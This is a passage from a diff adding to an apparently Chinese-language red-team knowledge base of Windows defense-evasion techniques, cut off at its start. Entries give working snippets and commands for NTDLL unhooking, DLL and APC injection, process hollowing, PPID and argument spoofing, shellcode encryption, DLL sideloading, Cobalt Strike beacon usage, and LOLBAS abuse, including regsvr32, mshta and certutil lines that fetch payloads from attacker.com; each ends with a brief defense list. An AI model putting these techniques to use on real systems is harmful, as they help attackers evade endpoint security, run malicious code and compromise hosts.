+ $section = [Win32.Kernel32]::OpenFileMapping(0x4, $false, "\KnownDlls\ntdll.dll")
206
+ $map = [Win32.Kernel32]::MapViewOfFile($section, 0x4, 0, 0, 0)
207
+ # 复制干净的代码段
208
+ ```
209
+
210
+ **Hell's Gate**
211
+ > Hell's Gate技术
212
+ _platform: windows_
213
+ ```
214
+ 通过系统调用号直接调用:
215
+ 1. 解析NTDLL获取系统调用号
216
+ 2. 直接执行syscall
217
+ 3. 绕过用户模式Hook
218
+ ```
219
+
220
+
221
+ **概述:** EDR通过Hook API监控程序行为。
222
+
223
+ **漏洞原理:** 用户模式Hook可被移除。
224
+
225
+ **利用方法:** 利用流程:1) 读取干净DLL 2) 覆盖Hook代码 3) 恢复原始API
226
+
227
+ **防御措施:** 防御措施:1) 内核级监控 2) 检测Unhooking 3) 多层防护
228
+
229
+ ---
230
+
231
+ ### 进程注入 `process-injection`
232
+ _将代码注入到其他进程_
233
+ 子类:**进程注入** · tags: `injection` `process` `evasion`
234
+
235
+ **前置条件:**
236
+ - 代码执行权限
237
+
238
+ **攻击链:**
239
+
240
+ **经典DLL注入**
241
+ > DLL注入
242
+ _platform: windows_
243
+ ```
244
+ $proc = Get-Process -Name notepad
245
+ $handle = [Win32.Kernel32]::OpenProcess(0x1F0FFF, $false, $proc.Id)
246
+ $addr = [Win32.Kernel32]::VirtualAllocEx($handle, 0, $dllPath.Length, 0x3000, 0x40)
247
+ [Win32.Kernel32]::WriteProcessMemory($handle, $addr, $dllPath, $dllPath.Length, [ref]0)
248
+ [Win32.Kernel32]::CreateRemoteThread($handle, 0, 0, $loadLibraryAddr, $addr, 0, [ref]0)
249
+ ```
250
+ **语法解析:**
251
+ - `VirtualAllocEx` — 在目标进程分配内存 _keyword_
252
+ - `WriteProcessMemory` — 写入DLL路径 _keyword_
253
+ - `CreateRemoteThread` — 创建远程线程 _keyword_
254
+
255
+ **Process Hollowing**
256
+ > 进程镂空
257
+ _platform: windows_
258
+ ```
259
+ 1. CreateProcess(CREATE_SUSPENDED)
260
+ 2. NtUnmapViewOfSection
261
+ 3. VirtualAllocEx
262
+ 4. WriteProcessMemory
263
+ 5. ResumeThread
264
+ ```
265
+
266
+ **APC注入**
267
+ > APC队列注入
268
+ _platform: windows_
269
+ ```
270
+ $threadId = $proc.Threads[0].Id
271
+ $queueAPC = [Win32.Kernel32]::GetProcAddress($kernel32, "QueueUserAPC")
272
+ [Win32.Kernel32]::QueueUserAPC($queueAPC, $handle, $addr)
273
+ ```
274
+
275
+
276
+ **概述:** 进程注入将代码注入合法进程执行。
277
+
278
+ **漏洞原理:** Windows进程API可被滥用。
279
+
280
+ **利用方法:** 利用流程:1) 打开目标进程 2) 分配内存 3) 写入代码 4) 执行
281
+
282
+ **防御措施:** 防御措施:1) 使用EDR 2) 监控进程注入 3) 启用保护机制
283
+
284
+ ---
285
+
286
+ ### AppLocker绕过 `applocker-bypass`
287
+ _绕过AppLocker应用程序限制_
288
+ 子类:**AppLocker** · tags: `applocker` `bypass` `evasion`
289
+
290
+ **前置条件:**
291
+ - AppLocker限制环境
292
+
293
+ **攻击链:**
294
+
295
+ **使用白名单路径**
296
+ > 使用白名单可执行文件
297
+ _platform: windows_
298
+ ```
299
+ C:\Windows\System32\spoolsv.exe
300
+ C:\Windows\System32\svchost.exe
301
+ C:\Program Files\Internet Explorer\ieexec.exe
302
+ ```
303
+
304
+ **LOLBAS利用**
305
+ > LOLBAS技术
306
+ _platform: windows_
307
+ ```
308
+ regsvr32.exe /s /n /u /i:http://attacker.com/shell.sct scrobj.dll
309
+ mshta.exe http://attacker.com/shell.hta
310
+ certutil.exe -urlcache -split -f http://attacker.com/shell.exe shell.exe
311
+ ```
312
+
313
+ **InstallUtil**
314
+ > InstallUtil绕过
315
+ _platform: windows_
316
+ ```
317
+ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U shell.exe
318
+ ```
319
+
320
+ **MSBuild**
321
+ > MSBuild执行代码
322
+ _platform: windows_
323
+ ```
324
+ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe shell.csproj
325
+ ```
326
+
327
+
328
+ **概述:** AppLocker可限制程序执行,但存在绕过方法。
329
+
330
+ **漏洞原理:** AppLocker规则不完善。
331
+
332
+ **利用方法:** 利用流程:1) 分析限制规则 2) 找到白名单路径 3) 使用LOLBAS
333
+
334
+ **防御措施:** 防御措施:1) 完善规则 2) 监控LOLBAS 3) 使用WDAC
335
+
336
+ ---
337
+
338
+ ### BlockDLLs技术 `evasion-blockdlls`
339
+ _阻止非微软DLL加载_
340
+ 子类:**BlockDLLs** · tags: `evasion` `blockdlls` `edr`
341
+
342
+ **前置条件:**
343
+ - Windows系统
344
+ - Cobalt Strike或其他工具
345
+
346
+ **攻击链:**
347
+
348
+ **Cobalt Strike BlockDLLs**
349
+ > 启用BlockDLLs
350
+ _platform: windows_
351
+ ```
352
+ beacon> blockdlls start
353
+ 阻止非微软签名的DLL加载
354
+ beacon> blockdlls stop
355
+ 恢复DLL加载
356
+ ```
357
+ **语法解析:**
358
+ - `blockdlls start` — 启用DLL过滤 _keyword_
359
+ - `非微软签名` — 只允许微软签名DLL _keyword_
360
+
361
+ **进程创建时启用**
362
+ > 进程创建时启用
363
+ _platform: windows_
364
+ ```
365
+ 使用CREATE_SUSPENDED标志创建进程
366
+ 设置ProcessSignaturePolicy
367
+ 阻止EDR DLL注入
368
+ ```
369
+
370
+ **C#实现**
371
+ > C#实现BlockDLLs
372
+ _platform: windows_
373
+ ```
374
+ [DllImport("kernel32.dll")]
375
+ static extern bool SetProcessMitigationPolicy(...);
376
+ ProcessSignaturePolicy policy = new ProcessSignaturePolicy();
377
+ policy.SignatureLevel = 0x0F;
378
+ SetProcessMitigationPolicy(ProcessMitigationPolicy.Signature, ref policy, size);
379
+ ```
380
+
381
+
382
+ **概述:** BlockDLLs可阻止EDR的DLL注入。
383
+
384
+ **漏洞原理:** Windows允许进程设置DLL加载策略。
385
+
386
+ **利用方法:** 利用流程:1) 启用BlockDLLs 2) 创建子进程 3) EDR无法注入
387
+
388
+ **防御措施:** 防御措施:1) 使用内核级监控 2) ETW跟踪 3) 早期启动驱动
389
+
390
+ ---
391
+
392
+ ### Shellcode加密 `evasion-shellcode-encrypt`
393
+ _加密Shellcode绕过静态检测_
394
+ 子类:**Shellcode加密** · tags: `evasion` `shellcode` `encrypt`
395
+
396
+ **前置条件:**
397
+ - Shellcode
398
+ - 加密工具
399
+
400
+ **攻击链:**
401
+
402
+ **AES加密Shellcode**
403
+ > AES加密
404
+ ```
405
+ 使用工具加密:
406
+ python shellcode_encoder.py --input shellcode.bin --output encoded.bin --key randomkey
407
+ 生成加密的Shellcode和解密代码
408
+ ```
409
+
410
+ **XOR加密**
411
+ > XOR加密
412
+ ```
413
+ 简单XOR加密:
414
+ for i in range(len(shellcode)):
415
+ encoded[i] = shellcode[i] ^ key[i % len(key)]
416
+ 运行时解密执行
417
+ ```
418
+ **语法解析:**
419
+ - `XOR` — 异或加密简单有效 _keyword_
420
+ - `运行时解密` — 内存中解密执行 _keyword_
421
+
422
+ **RC4加密**
423
+ > RC4加密
424
+ ```
425
+ 使用RC4加密Shellcode:
426
+ from Crypto.Cipher import ARC4
427
+ cipher = ARC4.new(key)
428
+ encrypted = cipher.encrypt(shellcode)
429
+ 运行时使用相同密钥解密
430
+ ```
431
+
432
+ **多态加密**
433
+ > 多态加密
434
+ ```
435
+ 每次生成不同的解密代码:
436
+ - 随机密钥
437
+ - 随机解密顺序
438
+ - 添加垃圾指令
439
+ - 控制流混淆
440
+ ```
441
+
442
+
443
+ **概述:** Shellcode加密可绕过静态特征检测。
444
+
445
+ **漏洞原理:** AV依赖静态特征匹配。
446
+
447
+ **利用方法:** 利用流程:1) 加密Shellcode 2) 生成解密代码 3) 运行时解密执行
448
+
449
+ **防御措施:** 防御措施:1) 内存扫描 2) 行为分析 3) 沙箱检测
450
+
451
+ ---
452
+
453
+ ### 进程伪装 `evasion-process-masq`
454
+ _伪装进程名称和路径_
455
+ 子类:**进程伪装** · tags: `evasion` `process` `masquerade`
456
+
457
+ **前置条件:**
458
+ - Windows系统
459
+
460
+ **攻击链:**
461
+
462
+ **PPID欺骗**
463
+ > PPID欺骗
464
+ _platform: windows_
465
+ ```
466
+ Cobalt Strike:
467
+ beacon> ppid 1234
468
+ 设置父进程ID为合法进程
469
+ beacon> run [command]
470
+ 新进程继承合法父进程
471
+ ```
472
+ **语法解析:**
473
+ - `ppid` — 设置父进程ID _keyword_
474
+ - `继承关系` — 伪装进程继承链 _keyword_
475
+
476
+ **进程参数欺骗**
477
+ > 参数欺骗
478
+ _platform: windows_
479
+ ```
480
+ CreateProcess参数:
481
+ - lpApplicationName: 合法程序路径
482
+ - lpCommandLine: 包含恶意命令
483
+ - 显示为合法进程
484
+ ```
485
+
486
+ **进程镂空**
487
+ > 进程镂空
488
+ _platform: windows_
489
+ ```
490
+ 1. 创建合法进程(挂起状态)
491
+ 2. 写入恶意代码
492
+ 3. 恢复线程执行
493
+ 进程名显示为合法程序
494
+ ```
495
+
496
+
497
+ **概述:** 进程伪装可绕过基于进程名的检测。
498
+
499
+ **漏洞原理:** Windows进程创建机制可被利用。
500
+
501
+ **利用方法:** 利用流程:1) 选择合法进程 2) 创建伪装进程 3) 执行恶意代码
502
+
503
+ **防御措施:** 防御措施:1) 检查进程内存 2) 验证代码签名 3) 监控异常行为
504
+
505
+ ---
506
+
507
+ ### PPID欺骗 `evasion-ppid-spoof`
508
+ _伪造父进程ID_
509
+ 子类:**PPID欺骗** · tags: `evasion` `ppid` `spoofing`
510
+
511
+ **前置条件:**
512
+ - Windows系统
513
+ - 父进程句柄
514
+
515
+ **攻击链:**
516
+
517
+ **PowerShell实现**
518
+ > PowerShell PPID欺骗
519
+ _platform: windows_
520
+ ```
521
+ $parent = Get-Process -Name explorer
522
+ $pi = New-Object System.Diagnostics.ProcessStartInfo
523
+ $pi.FileName = "cmd.exe"
524
+ $pi.ParentProcessId = $parent.Id
525
+ [System.Diagnostics.Process]::Start($pi)
526
+ ```
527
+
528
+ **C#实现**
529
+ > C#实现
530
+ _platform: windows_
531
+ ```
532
+ [StructLayout(LayoutKind.Sequential)]
533
+ public struct STARTUPINFOEX {
534
+ public STARTUPINFO StartupInfo;
535
+ public IntPtr lpAttributeList;
536
+ }
537
+ 使用PROC_THREAD_ATTRIBUTE_PARENT_PROCESS属性
538
+ ```
539
+ **语法解析:**
540
+ - `PROC_THREAD_ATTRIBUTE_PARENT_PROCESS` — 设置父进程属性 _keyword_
541
+ - `lpAttributeList` — 属性列表 _keyword_
542
+
543
+ **Cobalt Strike**
544
+ > Cobalt Strike实现
545
+ _platform: windows_
546
+ ```
547
+ beacon> ppid [explorer_pid]
548
+ beacon> run notepad.exe
549
+ 新进程父进程为explorer.exe
550
+ ```
551
+
552
+
553
+ **概述:** PPID欺骗可伪装进程的父子关系。
554
+
555
+ **漏洞原理:** Windows允许指定父进程。
556
+
557
+ **利用方法:** 利用流程:1) 获取合法进程PID 2) 创建进程时指定父进程 3) 绕过检测
558
+
559
+ **防御措施:** 防御措施:1) 检查进程树 2) 监控异常父子关系 3) ETW跟踪
560
+
561
+ ---
562
+
563
+ ### DLL侧加载 `evasion-dll-sideloading`
564
+ _利用DLL搜索顺序加载恶意DLL_
565
+ 子类:**DLL侧加载** · tags: `evasion` `dll` `sideloading`
566
+
567
+ **前置条件:**
568
+ - Windows系统
569
+ - 可执行文件
570
+
571
+ **攻击链:**
572
+
573
+ **DLL劫持**
574
+ > DLL劫持原理
575
+ _platform: windows_
576
+ ```
577
+ 1. 找到可执行文件加载的DLL
578
+ 2. 将恶意DLL放在搜索路径优先位置
579
+ 3. 执行程序时加载恶意DLL
580
+ ```
581
+
582
+ **DLL转发**
583
+ > DLL转发
584
+ _platform: windows_
585
+ ```
586
+ #pragma comment(linker, "/export:OriginalFunction=original.dll.OriginalFunction")
587
+ 导出原始DLL的函数
588
+ 同时执行恶意代码
589
+ ```
590
+ **语法解析:**
591
+ - `/export:` — 导出函数 _parameter_
592
+ - `original.dll` — 转发到原始DLL _path_
593
+
594
+ **常见目标**
595
+ > 常见目标DLL
596
+ _platform: windows_
597
+ ```
598
+ 常见DLL劫持目标:
599
+ - version.dll
600
+ - dwmapi.dll
601
+ - uxtheme.dll
602
+ - cryptsp.dll
603
+ - winmm.dll
604
+ ```
605
+
606
+
607
+ **概述:** DLL侧加载利用Windows DLL搜索顺序。
608
+
609
+ **漏洞原理:** Windows DLL搜索顺序可被利用。
610
+
611
+ **利用方法:** 利用流程:1) 分析目标程序 2) 创建恶意DLL 3) 放置在搜索路径
612
+
613
+ **防御措施:** 防御措施:1) 使用绝对路径 2) SetDllDirectory 3) 监控DLL加载
614
+
615
+ ---
616
+
617
+ ### 参数欺骗 `evasion-arg-spoofing`
618
+ _欺骗进程参数显示_
619
+ 子类:**参数欺骗** · tags: `evasion` `argument` `spoofing`
620
+
621
+ **前置条件:**
622
+ - Windows系统
623
+
624
+ **攻击链:**
625
+
626
+ **命令行欺骗**
627
+ > 命令行欺骗
628
+ _platform: windows_
629
+ ```
630
+ CreateProcess参数:
631
+ lpApplicationName = "C:\Windows\System32\cmd.exe"
632
+ lpCommandLine = "C:\Windows\System32\cmd.exe /c whoami"
633
+ 实际执行恶意命令
634
+ ```
635
+
636
+ **环境变量欺骗**
637
+ > 环境变量欺骗
638
+ _platform: windows_
639
+ ```
640
+ 使用环境变量隐藏参数:
641
+ set EVIL=malicious_command
642
+ cmd /c %EVIL%
643
+ 进程列表不显示实际命令
644
+ ```
645
+
646
+ **PEB修改**
647
+ > PEB修改
648
+ _platform: windows_
649
+ ```
650
+ 修改PEB中的命令行:
651
+ 1. 创建进程
652
+ 2. 修改PEB中的CommandLine缓冲区
653
+ 3. 进程管理器显示假参数
654
+ ```
655
+ **语法解析:**
656
+ - `PEB` — 进程环境块 _keyword_
657
+ - `CommandLine` — 命令行参数存储位置 _keyword_
658
+
659
+
660
+ **概述:** 参数欺骗可隐藏实际执行的命令。
661
+
662
+ **漏洞原理:** Windows命令行显示可被修改。
663
+
664
+ **利用方法:** 利用流程:1) 创建进程 2) 修改显示参数 3) 隐藏恶意命令
665
+
666
+ **防御措施:** 防御措施:1) 内存扫描 2) ETW跟踪 3) 行为分析
667
+
668
+ ---
669
+
670
+ ### 签名二进制利用 `evasion-signed-binary`
671
+ _利用微软签名二进制执行代码_
672
+ 子类:**签名二进制** · tags: `evasion` `signed` `lolbin`
673
+
674
+ **前置条件:**
675
+ - Windows系统
676
+
677
+ **攻击链:**
678
+
679
+ **MSBuild**
680
+ > MSBuild执行
681
+ _platform: windows_
682
+ ```
683
+ msbuild.exe malicious.csproj
684
+ 执行嵌入的C#代码
685
+ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
686
+ ```
687
+
688
+ **InstallUtil**
689
+ > InstallUtil执行
690
+ _platform: windows_
691
+ ```
692
+ InstallUtil.exe /logfile= /LogToConsole=false /U malicious.dll
693
+ 执行.NET程序集
694
+ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
695
+ ```
696
+ **语法解析:**
697
+ - `/U` — 卸载模式执行代码 _parameter_
698
+ - `malicious.dll` — 恶意.NET程序集 _path_
699
+
700
+ **Regsvcs/Regasm**
701
+ > Regsvcs/Regasm
702
+ _platform: windows_
703
+ ```
704
+ regsvcs.exe malicious.dll
705
+ regasm.exe malicious.dll
706
+ 执行.NET程序集
707
+ ```
708
+
709
+ **Rundll32**
710
+ > Rundll32执行
711
+ _platform: windows_
712
+ ```
713
+ rundll32.exe javascript:"\..\mshtml,RunHTMLApplication"
714
+ rundll32.exe shell32.dll,Control_RunDLL malicious.cpl
715
+ ```
716
+
717
+
718
+ **概述:** 签名二进制是微软签名的合法程序,可被滥用执行代码。
719
+
720
+ **漏洞原理:** 微软签名程序有特殊权限。
721
+
722
+ **利用方法:** 利用流程:1) 选择合适工具 2) 准备payload 3) 使用签名程序执行
723
+
724
+ **防御措施:** 防御措施:1) 监控LOLBAS使用 2) 应用程序白名单 3) 行为分析
725
+
726
+ ---
727
+
728
+ ### CLR注入 `evasion-clr-injection`
729
+ _CLR内存注入技术_
730
+ 子类:**CLR注入** · tags: `evasion` `clr` `injection`
731
+
732
+ **前置条件:**
733
+ - Windows系统
734
+ - .NET环境
735
+
736
+ **攻击链:**
737
+
738
+ **CLR内存加载**
739
+ > CLR加载原理
740
+ _platform: windows_
741
+ ```
742
+ 使用CLR接口加载.NET程序集:
743
+ 1. 获取CLR运行时
744
+ 2. 创建AppDomain
745
+ 3. 加载程序集
746
+ 4. 执行入口点
747
+ ```
748
+
749
+ **C#实现**
750
+ > C# CLR加载
751
+ _platform: windows_
752
+ ```
753
+ var clr = new ClrModule();
754
+ clr.LoadAssembly(File.ReadAllBytes("malicious.exe"));
755
+ clr.Execute("Main");
756
+ 从内存执行.NET程序
757
+ ```
758
+ **语法解析:**
759
+ - `LoadAssembly` — 从字节数组加载 _keyword_
760
+ - `Execute` — 执行入口点 _keyword_
761
+
762
+ **Cobalt Strike**
763
+ > Cobalt Strike实现
764
+ _platform: windows_
765
+ ```
766
+ beacon> execute-assembly /path/to/tool.exe args
767
+ 从内存执行.NET程序集
768
+ 不落地执行
769
+ ```
770
+
771
+
772
+ **概述:** CLR注入可从内存执行.NET程序集。
773
+
774
+ **漏洞原理:** .NET CLR允许动态加载程序集。
775
+
776
+ **利用方法:** 利用流程:1) 获取CLR接口 2) 加载程序集 3) 执行代码
777
+
778
+ **防御措施:** 防御措施:1) AMSI监控 2) 内存扫描 3) ETW跟踪
779
+
780
+ ---